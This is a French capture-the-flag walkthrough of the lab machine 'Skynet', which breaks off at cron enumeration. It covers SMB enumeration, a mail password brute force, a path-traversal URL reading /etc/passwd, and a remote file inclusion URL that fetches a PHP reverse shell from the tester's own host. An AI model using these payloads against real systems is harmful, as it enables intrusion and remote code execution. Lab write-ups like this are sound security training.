Skynet

Task 1

On commence par notre scan des ports :

image-1650401842934.png

On dispose donc d'un site, d'un serveur samba ainsi que de deux autres ports.

Commençons par le site internet :

image-1650404583738.png

SQLMap nous dit qu'il n'est pas injectable, une petite énumération via gobuster nous permet de découvrir SquirrelMail :

image-1650404698416.png

Ok voilà la page pour les mails, maintenant il nous faut encore trouver le compte de Miles. Partons sur le Samba, on commence avec SMBMap :

image-1650404991188.png

Le compte anonymous est ouvert donc on commence par ce connecter :

image-1650405075063.png

image-1650405090326.png

Le fichier attention.txt nous indique qu'il y a eu un problème avec les mots de passes :

image-1650405146343.png

On découvre au passage le nom de famille de Miles qui est Dyson ce qui va nous permettre de trouver plus facilement son username.

Dans les logs on découvre le fichier logs1.txt qui contient une liste de mot de passe :

image-1650405216233.png

On va utiliser cette liste pour bruteforcer le mot de passe de miles :

image-1650405270325.png

On obtient donc le mot de passe : cyborg007haloterminator

Maintenant que l'on a accès aux mails on découvre le reset du mot de passe du compte smb de miles : 

image-1650405350349.png

On peut donc ce connecter avec son compte :

image-1650405546215.png

Dans le dossier notes on découvre un fichier important.txt :

image-1650405591657.png

On découvre alors ce qui semble être un dossier caché :

image-1650405651023.png

La page ne semble pas nous donner plus d'informations, on relance alors notre gobuster :

image-1650406230920.png

Cette fois on découvre une page administrator :

image-1650406165518.png

Une rapide recherche de vulnérabilité nous indique qu'il existe une "remote file inclusion" :

image-1650406208099.png

En suivant le fichier txt on découvre qu'il est possible d'upload un fichier mais aussi de lire tout les fichiers que nous souhaitons. Commençons par un classique /etc/passwd pour vérifier que cela fonctionne :

image-1650406595426.png

Cela fonctionne ce qui nous permet de découvrir qu'un seul utilisateur possède un home : milesdyson

De plus nous découvrons que nous sommes à 6 niveaux de la racines car l'url est le suivant :

http://10.10.117.142/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../etc/passwd

Essayons avec le flag user :

image-1650406711597.png

Bingo le premier flag est à nous !

Essayons avec celui du root :

image-1650406760888.png

Non, cela aurait été trop simple.

On va passer par un reverse shell, pour cela on commence par télécharger un reverse shell php tel que celui la (https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php)

On le modifie puis on lance un server python pour pouvoir le télécharger sur la machine distante :

image-1650407253710.png

On lance une écoute sur le port que nous avons choisi :

image-1650407280693.png

Et on réalise notre exploit :

http://10.10.117.142/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.11.69.123:8080/shell.php


image-1650407325765.png

On commence par faire spawn un meilleur shell grâce à python :

image-1650407383784.png

Nous sommes donc en www-data, on découvre un dossier backup dans le répertoire de milesdyson :

image-1650407842369.png

Le script backup.sh fait penser qu'il y a sans doute un crontab qui doit être programmée :